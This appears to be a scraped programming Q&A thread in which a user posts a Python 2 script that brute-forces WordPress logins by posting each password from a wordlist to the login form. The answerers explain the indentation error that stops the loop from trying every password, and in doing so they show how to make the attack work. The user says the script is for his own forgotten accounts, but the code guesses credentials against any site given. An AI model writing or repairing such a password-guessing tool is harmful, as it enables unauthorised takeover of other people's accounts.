tags:

views:

87

answers:

2

My problem is in this code:

try:
    PassL = open(sys.argv[3], "r").readlines()
    print "[+] Passwords:",len(PassL),"\n"
except(IOError): 
    print "[-] Error: Check your wordlist path\n"
    sys.exit(1)
    for word in PassL:
        word = word.replace("\r","").replace("\n","")
    login_form_seq = [
    ('log', sys.argv[2]),
    ('pwd', word),
    ('rememberme', 'forever'),
    ('wp-submit', 'Login >>'),
    ('redirect_to', 'wp-admin/')]
    try:
         login_form_data = urllib.urlencode(login_form_seq)
         opener = urllib2.build_opener()
    except:
         print'Unknown ERROR'
    try:
             OP = opener.open(host, login_form_data).read()
    except(urllib2.URLError), msg:
         print msg
         OP = ""
    else:
         'wrong?'
    if re.search("WordPress requires Cookies",OP):
            print "[-] Failed: WordPress has cookies enabled\n"
            sys.exit(1)
        #Change this response if different. (language)
    if re.search("<strong>ERROR</strong>",OP):
         print "[-] Login Failed :",word
    else:
             print "\n[!] Login Successfull:",'[#]The Information:',sys.argv[2],':',word

So the problem is, I provide sys.argv[2] and that gets the txt file. For example:

www.py wow.txt

Then in my python script I try to login to a web site with the password in wow.txt. The problem is, I put 15 passwords in wow.txt and my www.py script reads the last line!

The purpose of the script is because I forget a lot of my Wordpress accounts (around six accounts), and actually am thinking of trying 25 passwords for each. So make it easy for me -- don't say "go and try it manually", just give me the code or the right way.

+2  A: 

Your for word in PassL loop is only one line long, but it looks as if you probably want the rest of the script to be indented to also be part of that loop.

At the moment, the loop iterates through the list, replacing the variable word with a new value (as per the replace commands). When the loop ends, the last value in word is the last value in the list (without a line ending).

Increasing the indent on the rest of the script will run all of that code for each line in the file.

Zooba
Zooba i don't understand can you explain again ^^"
str1k3r
+3  A: 

Most of your code never runs at all, because it's in an except block and unconditionally follows a sys.exit -- so execution will never get there, even if the exception does occur to trigger the except (if it doesn't occur of course the whole except is never entered). Look again at the code you posted...:

except(IOError): 
    print "[-] Error: Check your wordlist path\n"
    sys.exit(1)
    for word in PassL:
        word = word.replace("\r","").replace("\n","")
    login_form_seq = [  (etc etc)

Clearly your indentation is all wrong. I suspect what you want is:

except(IOError): 
    print "[-] Error: Check your wordlist path\n"
    sys.exit(1)
for word in PassL:
    word = word.replace("\r","").replace("\n","")
    login_form_seq = [  (etc etc)

that is, deintenting only two lines (so the rest remain part of the loop).

How you could perpetrate such atrocious indentation in your code, I don't know. Maybe you're using tabs (instead of using 4 spaces, exclusively, for every indent) and your editor or IDE is set in some way that's misleading you about what the indents actually are.

Alex Martelli
Alex Martelli .. it's would be better if you leave your email i want contact with you
str1k3r
Hah, I didn't even notice it was all in an except block. You are right though, it looks like those two lines are the ones that need to be fixed. +1
Zooba
@str1k3r, what makes you think I want to enter direct contact with somebody with a 17% accept rate? Clearly, you're not following SO's very plain etiquette -- you're asking many questions, but hardly ever accepting answers -- so, I'd rather not. @Zooba, I _think_ it's just those two lines, but, of course, it's just an informed guess!-)
Alex Martelli